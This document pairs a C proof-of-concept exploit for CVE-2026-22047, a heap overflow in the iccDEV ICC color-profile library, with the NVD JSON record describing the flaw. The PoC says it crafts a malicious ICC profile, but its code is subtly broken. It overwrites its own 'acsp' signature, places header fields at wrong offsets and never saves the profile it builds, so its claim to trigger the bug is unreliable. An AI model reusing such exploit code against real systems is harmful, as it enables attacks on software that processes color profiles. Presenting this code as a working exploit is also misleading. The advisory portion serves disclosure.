CVE-2026-22047

#include <stdio.h> #include <stdlib.h> #include <string.h> /* PoC for CVE-2026-22047 - Heap Buffer Overflow in SIccCalcOp::Describe() * This PoC generates a malicious ICC profile that triggers the vulnerability * when processed by iccDEV library versions < 2.3.1.2 */ #define MALICIOUS_DATA_SIZE 0x1000 // Craft malicious ICC profile data unsigned char* craft_malicious_icc_profile() { unsigned char* profile = (unsigned char*)malloc(MALICIOUS_DATA_SIZE); if (!profile) return NULL; // Initialize with standard ICC profile header memset(profile, 0, MALICIOUS_DATA_SIZE); // ICC profile signature memcpy(profile, "acsp", 4); // Set profile size (larger than actual buffer) profile[0] = 0x00; profile[1] = 0x00; profile[2] = 0x10; profile[3] = 0x00; // CMYK profile class memcpy(profile + 4, "mntr", 4); // PCS = Lab memcpy(profile + 12, "Lab ", 4); // Craft tag table with malicious 'calc' tag // This triggers SIccCalcOp::Describe() with overflow condition unsigned int* tag_table = (unsigned int*)(profile + 128); tag_table[0] = 0x63616C63; // 'calc' signature tag_table[1] = 0x00000100; // offset tag_table[2] = 0x00001000; // size (triggers overflow) // Fill malicious data that will cause heap overflow unsigned char* data_section = profile + 0x100; memset(data_section, 0x41, 0x1000); // Overflow with 'A' bytes return profile; } int main() { printf("CVE-2026-22047 PoC - Heap Buffer Overflow in iccDEV\n"); printf("Generating malicious ICC profile...\n"); unsigned char* malicious_profile = craft_malicious_icc_profile(); if (malicious_profile) { printf("Malicious ICC profile created successfully.\n"); printf("Size: %d bytes\n", MALICIOUS_DATA_SIZE); printf("Load this profile with vulnerable iccDEV library to trigger.\n"); free(malicious_profile); } return 0; }

{"cve": {"id": "CVE-2026-22047", "sourceIdentifier": "[email protected]", "published": "2026-01-07T22:15:46.127", "lastModified": "2026-01-14T18:45:16.450", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "iccDEV provides a set of libraries and tools that allow for the interaction, manipulation, and application of International Color Consortium (ICC) color management profiles. Versions prior to 2.3.1.2 have a heap-buffer-overflow vulnerability in `SIccCalcOp::Describe()` at `IccProfLib/IccMpeCalc.cpp`. This vulnerability affects users of the iccDEV library who process ICC color profiles. Version 2.3.1.2 contains a patch. No known workarounds are available."}, {"lang": "es", "value": "iccDEV proporciona un conjunto de bibliotecas y herramientas que permiten la interacción, manipulación y aplicación de perfiles de gestión de color del Consorcio Internacional del Color (ICC). Las versiones anteriores a la 2.3.1.2 tienen una vulnerabilidad de desbordamiento de búfer de pila (heap-buffer-overflow) en 'SIccCalcOp::Describe()' en 'IccProfLib/IccMpeCalc.cpp'. Esta vulnerabilidad afecta a los usuarios de la biblioteca iccDEV que procesan perfiles de color ICC. La versión 2.3.1.2 contiene un parche. No se conocen soluciones alternativas disponibles."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}, {"lang": "en", "value": "CWE-130"}, {"lang": "en", "value": "CWE-252"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:color:iccdev:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.3.1.2", "matchCriteriaId": "D34CF745-E75A-4F1C-AD7B-9AC1A2E9F680"}]}]}], "references": [{"url": "https://github.com/InternationalColorConsortium/iccDEV/issues/454", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking"]}, {"url": "https://github.com/InternationalColorConsortium/iccDEV/pull/459", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/InternationalColorConsortium/iccDEV/security/advisories/GHSA-22q7-8347-79m5", "source": "[email protected]", "tags": ["Patch", "Vendor Advisory"]}, {"url": "https://github.com/InternationalColorConsortium/iccDEV/issues/454", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Issue Tracking"]}]}}